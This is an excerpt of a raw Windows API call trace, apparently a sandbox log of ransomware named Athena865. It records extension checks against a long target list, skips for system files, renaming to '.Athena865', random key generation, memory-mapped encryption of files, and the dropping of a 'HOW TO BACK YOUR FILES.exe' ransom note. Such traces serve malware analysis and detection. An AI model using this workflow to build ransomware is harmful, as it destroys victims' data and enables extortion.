1 [0098.666] lstrlenW (lpString="rsd") returned 3 [0098.666] lstrcmpiW (lpString1="rsm", lpString2="rsd") returned 1 [0098.666] lstrlenW (lpString="sas7bdat") returned 8 [0098.667] lstrcmpiW (lpString1="tate.rsm", lpString2="sas7bdat") returned 1 [0098.667] lstrlenW (lpString="sbf") returned 3 [0098.667] lstrcmpiW (lpString1="rsm", lpString2="sbf") returned -1 [0098.667] lstrlenW (lpString="scx") returned 3 [0098.667] lstrcmpiW (lpString1="rsm", lpString2="scx") returned -1 [0098.667] lstrlenW (lpString="sdb") returned 3 [0098.667] lstrcmpiW (lpString1="rsm", lpString2="sdb") returned -1 [0098.667] lstrlenW (lpString="sdc") returned 3 [0098.667] lstrcmpiW (lpString1="rsm", lpString2="sdc") returned -1 [0098.667] lstrlenW (lpString="sdf") returned 3 [0098.667] lstrcmpiW (lpString1="rsm", lpString2="sdf") returned -1 [0098.667] lstrlenW (lpString="sis") returned 3 [0098.667] lstrcmpiW (lpString1="rsm", lpString2="sis") returned -1 [0098.667] lstrlenW (lpString="spq") returned 3 [0098.667] lstrcmpiW (lpString1="rsm", lpString2="spq") returned -1 [0098.667] lstrlenW (lpString="te") returned 2 [0098.667] lstrcmpiW (lpString1="sm", lpString2="te") returned -1 [0098.667] lstrlenW (lpString="teacher") returned 7 [0098.667] lstrcmpiW (lpString1="ate.rsm", lpString2="teacher") returned -1 [0098.667] lstrlenW (lpString="tmd") returned 3 [0098.667] lstrcmpiW (lpString1="rsm", lpString2="tmd") returned -1 [0098.667] lstrlenW (lpString="tps") returned 3 [0098.667] lstrcmpiW (lpString1="rsm", lpString2="tps") returned -1 [0098.667] lstrlenW (lpString="trc") returned 3 [0098.667] lstrcmpiW (lpString1="rsm", lpString2="trc") returned -1 [0098.667] lstrlenW (lpString="trc") returned 3 [0098.667] lstrcmpiW (lpString1="rsm", lpString2="trc") returned -1 [0098.667] lstrlenW (lpString="trm") returned 3 [0098.667] lstrcmpiW (lpString1="rsm", lpString2="trm") returned -1 [0098.668] lstrlenW (lpString="udb") returned 3 [0098.668] lstrcmpiW (lpString1="rsm", lpString2="udb") returned -1 [0098.668] lstrlenW (lpString="udl") returned 3 [0098.668] lstrcmpiW (lpString1="rsm", lpString2="udl") returned -1 [0098.668] lstrlenW (lpString="usr") returned 3 [0098.668] lstrcmpiW (lpString1="rsm", lpString2="usr") returned -1 [0098.668] lstrlenW (lpString="v12") returned 3 [0098.668] lstrcmpiW (lpString1="rsm", lpString2="v12") returned -1 [0098.668] lstrlenW (lpString="vis") returned 3 [0098.668] lstrcmpiW (lpString1="rsm", lpString2="vis") returned -1 [0098.668] lstrlenW (lpString="vpd") returned 3 [0098.668] lstrcmpiW (lpString1="rsm", lpString2="vpd") returned -1 [0098.668] lstrlenW (lpString="vvv") returned 3 [0098.668] lstrcmpiW (lpString1="rsm", lpString2="vvv") returned -1 [0098.668] lstrlenW (lpString="wdb") returned 3 [0098.668] lstrcmpiW (lpString1="rsm", lpString2="wdb") returned -1 [0098.668] lstrlenW (lpString="wmdb") returned 4 [0098.668] lstrcmpiW (lpString1=".rsm", lpString2="wmdb") returned -1 [0098.668] lstrlenW (lpString="wrk") returned 3 [0098.668] lstrcmpiW (lpString1="rsm", lpString2="wrk") returned -1 [0098.668] lstrlenW (lpString="xdb") returned 3 [0098.668] lstrcmpiW (lpString1="rsm", lpString2="xdb") returned -1 [0098.668] lstrlenW (lpString="xld") returned 3 [0098.668] lstrcmpiW (lpString1="rsm", lpString2="xld") returned -1 [0098.668] lstrlenW (lpString="xmlff") returned 5 [0098.668] lstrcmpiW (lpString1="e.rsm", lpString2="xmlff") returned -1 [0098.668] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm.Athena865") returned 87 [0098.668] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm"), lpNewFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm.Athena865" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm.athena865"), dwFlags=0x1) returned 1 [0098.675] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm.Athena865" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0098.675] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=654) returned 1 [0098.676] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0098.676] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5398d8 [0098.676] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0098.676] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0098.677] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0098.677] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0098.677] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x590, lpName=0x0) returned 0x17c [0098.678] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x590) returned 0x100000 [0098.679] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0098.680] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0098.680] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0098.680] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0098.680] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539950 | out: hHeap=0x4f0000) returned 1 [0098.680] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53f220 [0098.680] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0098.680] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f220 | out: hHeap=0x4f0000) returned 1 [0098.680] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0098.680] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53f220 [0098.680] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0098.680] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f220 | out: hHeap=0x4f0000) returned 1 [0098.681] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0098.681] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0098.681] CloseHandle (hObject=0x17c) returned 1 [0098.681] CloseHandle (hObject=0x154) returned 1 [0098.681] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5398d8 | out: hHeap=0x4f0000) returned 1 [0098.681] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a190 | out: hHeap=0x4f0000) returned 1 [0098.681] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0098.681] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfaaff840, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xf0a0a700, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x6f398, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcredist_x64.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1 [0098.681] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0098.681] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0098.681] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2=".") returned 1 [0098.681] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2="..") returned 1 [0098.681] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2="windows") returned -1 [0098.681] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2="bootmgr") returned 1 [0098.681] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2="temp") returned 1 [0098.681] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2="pagefile.sys") returned 1 [0098.681] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2="boot") returned 1 [0098.681] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2="ids.txt") returned 1 [0098.681] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2="ntuser.dat") returned 1 [0098.681] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2="perflogs") returned 1 [0098.682] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2="MSBuild") returned 1 [0098.682] lstrlenW (lpString="vcredist_x64.exe") returned 16 [0098.682] lstrcpyW (in: lpString1=0x241e8d0, lpString2="vcredist_x64.exe" | out: lpString1="vcredist_x64.exe") returned="vcredist_x64.exe" [0098.682] lstrlenW (lpString="vcredist_x64.exe") returned 16 [0098.682] lstrlenW (lpString="Athena865") returned 9 [0098.682] lstrcmpiW (lpString1="t_x64.exe", lpString2="Athena865") returned 1 [0098.682] lstrlenW (lpString=".dll") returned 4 [0098.682] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2=".dll") returned 1 [0098.682] lstrlenW (lpString=".lnk") returned 4 [0098.682] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2=".lnk") returned 1 [0098.682] lstrlenW (lpString=".ini") returned 4 [0098.682] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2=".ini") returned 1 [0098.682] lstrlenW (lpString=".sys") returned 4 [0098.682] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2=".sys") returned 1 [0098.682] lstrlenW (lpString="vcredist_x64.exe") returned 16 [0098.682] lstrlenW (lpString="bak") returned 3 [0098.682] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0098.682] lstrlenW (lpString="ba_") returned 3 [0098.682] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0098.682] lstrlenW (lpString="dbb") returned 3 [0098.682] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0098.682] lstrlenW (lpString="vmdk") returned 4 [0098.682] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0098.682] lstrlenW (lpString="rar") returned 3 [0098.682] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0098.682] lstrlenW (lpString="zip") returned 3 [0098.682] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0098.682] lstrlenW (lpString="tgz") returned 3 [0098.682] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0098.683] lstrlenW (lpString="vbox") returned 4 [0098.683] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0098.683] lstrlenW (lpString="vdi") returned 3 [0098.683] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0098.683] lstrlenW (lpString="vhd") returned 3 [0098.683] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0098.683] lstrlenW (lpString="vhdx") returned 4 [0098.683] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0098.683] lstrlenW (lpString="avhd") returned 4 [0098.683] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0098.683] lstrlenW (lpString="db") returned 2 [0098.683] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0098.683] lstrlenW (lpString="db2") returned 3 [0098.683] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0098.683] lstrlenW (lpString="db3") returned 3 [0098.683] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0098.683] lstrlenW (lpString="dbf") returned 3 [0098.683] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0098.683] lstrlenW (lpString="mdf") returned 3 [0098.683] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0098.683] lstrlenW (lpString="mdb") returned 3 [0098.683] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0098.683] lstrlenW (lpString="sql") returned 3 [0098.683] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0098.683] lstrlenW (lpString="sqlite") returned 6 [0098.683] lstrcmpiW (lpString1="64.exe", lpString2="sqlite") returned -1 [0098.683] lstrlenW (lpString="sqlite3") returned 7 [0098.683] lstrcmpiW (lpString1="x64.exe", lpString2="sqlite3") returned 1 [0098.683] lstrlenW (lpString="sqlitedb") returned 8 [0098.684] lstrcmpiW (lpString1="_x64.exe", lpString2="sqlitedb") returned -1 [0098.684] lstrlenW (lpString="xml") returned 3 [0098.684] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0098.684] lstrlenW (lpString="$er") returned 3 [0098.684] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0098.684] lstrlenW (lpString="4dd") returned 3 [0098.684] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0098.684] lstrlenW (lpString="4dl") returned 3 [0098.684] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0098.684] lstrlenW (lpString="^^^") returned 3 [0098.684] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0098.684] lstrlenW (lpString="abs") returned 3 [0098.684] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0098.684] lstrlenW (lpString="abx") returned 3 [0098.684] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0098.684] lstrlenW (lpString="accdb") returned 5 [0098.684] lstrcmpiW (lpString1="4.exe", lpString2="accdb") returned -1 [0098.684] lstrlenW (lpString="accdc") returned 5 [0098.684] lstrcmpiW (lpString1="4.exe", lpString2="accdc") returned -1 [0098.684] lstrlenW (lpString="accde") returned 5 [0098.684] lstrcmpiW (lpString1="4.exe", lpString2="accde") returned -1 [0098.684] lstrlenW (lpString="accdr") returned 5 [0098.684] lstrcmpiW (lpString1="4.exe", lpString2="accdr") returned -1 [0098.684] lstrlenW (lpString="accdt") returned 5 [0098.684] lstrcmpiW (lpString1="4.exe", lpString2="accdt") returned -1 [0098.684] lstrlenW (lpString="accdw") returned 5 [0098.684] lstrcmpiW (lpString1="4.exe", lpString2="accdw") returned -1 [0098.684] lstrlenW (lpString="accft") returned 5 [0098.684] lstrcmpiW (lpString1="4.exe", lpString2="accft") returned -1 [0098.685] lstrlenW (lpString="adb") returned 3 [0098.685] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0098.685] lstrlenW (lpString="adb") returned 3 [0098.685] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0098.685] lstrlenW (lpString="ade") returned 3 [0098.685] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0098.685] lstrlenW (lpString="adf") returned 3 [0098.685] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0098.685] lstrlenW (lpString="adn") returned 3 [0098.685] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0098.685] lstrlenW (lpString="adp") returned 3 [0098.685] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0098.685] lstrlenW (lpString="alf") returned 3 [0098.685] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0098.685] lstrlenW (lpString="ask") returned 3 [0098.685] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0098.685] lstrlenW (lpString="btr") returned 3 [0098.685] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0098.685] lstrlenW (lpString="cat") returned 3 [0098.685] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0098.685] lstrlenW (lpString="cdb") returned 3 [0098.685] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0098.685] lstrlenW (lpString="ckp") returned 3 [0098.685] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0098.685] lstrlenW (lpString="cma") returned 3 [0098.685] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0098.685] lstrlenW (lpString="cpd") returned 3 [0098.685] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0098.685] lstrlenW (lpString="dacpac") returned 6 [0098.685] lstrcmpiW (lpString1="64.exe", lpString2="dacpac") returned -1 [0098.686] lstrlenW (lpString="dad") returned 3 [0098.686] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0098.686] lstrlenW (lpString="dadiagrams") returned 10 [0098.686] lstrcmpiW (lpString1="st_x64.exe", lpString2="dadiagrams") returned 1 [0098.686] lstrlenW (lpString="daschema") returned 8 [0098.686] lstrcmpiW (lpString1="_x64.exe", lpString2="daschema") returned -1 [0098.686] lstrlenW (lpString="db-journal") returned 10 [0098.686] lstrcmpiW (lpString1="st_x64.exe", lpString2="db-journal") returned 1 [0098.686] lstrlenW (lpString="db-shm") returned 6 [0098.686] lstrcmpiW (lpString1="64.exe", lpString2="db-shm") returned -1 [0098.686] lstrlenW (lpString="db-wal") returned 6 [0098.686] lstrcmpiW (lpString1="64.exe", lpString2="db-wal") returned -1 [0098.686] lstrlenW (lpString="dbc") returned 3 [0098.686] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0098.686] lstrlenW (lpString="dbs") returned 3 [0098.686] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0098.686] lstrlenW (lpString="dbt") returned 3 [0098.686] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0098.686] lstrlenW (lpString="dbv") returned 3 [0098.686] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0098.686] lstrlenW (lpString="dbx") returned 3 [0098.686] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0098.686] lstrlenW (lpString="dcb") returned 3 [0098.686] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0098.686] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0098.686] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0098.687] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0098.687] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe.Athena865") returned 94 [0098.687] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe.Athena865" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe.athena865"), dwFlags=0x1) returned 1 [0098.688] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe.Athena865" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0098.688] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=455576) returned 1 [0098.688] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0098.688] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5398d8 [0098.688] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0098.688] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0098.689] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0098.689] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0098.689] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6f6a0, lpName=0x0) returned 0x17c [0098.691] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6f6a0) returned 0x2d50000 [0098.737] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0098.738] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0098.738] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0098.738] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0098.738] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539950 | out: hHeap=0x4f0000) returned 1 [0098.738] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53f220 [0098.738] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0098.738] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f220 | out: hHeap=0x4f0000) returned 1 [0098.738] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0098.738] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53f220 [0098.739] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0098.739] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f220 | out: hHeap=0x4f0000) returned 1 [0098.739] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0098.739] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0098.743] CloseHandle (hObject=0x17c) returned 1 [0098.743] CloseHandle (hObject=0x154) returned 1 [0098.743] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5398d8 | out: hHeap=0x4f0000) returned 1 [0098.743] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a190 | out: hHeap=0x4f0000) returned 1 [0098.743] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0098.745] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfaaff840, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xf0a0a700, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x6f398, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcredist_x64.exe", cAlternateFileName="VCREDI~1.EXE")) returned 0 [0098.745] FindClose (in: hFindFile=0x5295d0 | out: hFindFile=0x5295d0) returned 1 [0098.745] ReleaseMutex (hMutex=0xec) returned 1 [0098.745] CloseHandle (hObject=0xec) returned 1 [0098.745] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" | out: lpString1="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" [0098.745] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5225a0 | out: hHeap=0x4f0000) returned 1 [0098.745] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ad40 | out: hHeap=0x4f0000) returned 1 [0098.745] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned 78 [0098.745] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\C481F048C4F82B3A2FBF443C0FB7C5BD") returned 0xec [0098.746] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0098.746] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" | out: lpString1="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" [0098.746] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0098.746] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\how to back your files.exe"), bFailIfExists=1) returned 0 [0098.746] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0098.747] GetLastError () returned 0x0 [0098.747] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0098.747] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53f220 [0098.747] ReadFile (in: hFile=0xf4, lpBuffer=0x53f220, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53f220*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0098.748] CloseHandle (hObject=0xf4) returned 1 [0098.748] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f220 | out: hHeap=0x4f0000) returned 1 [0098.748] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0098.748] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfab71c60, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xc4bee480, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4bee480, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5295d0 [0098.748] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.748] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.748] lstrcmpiW 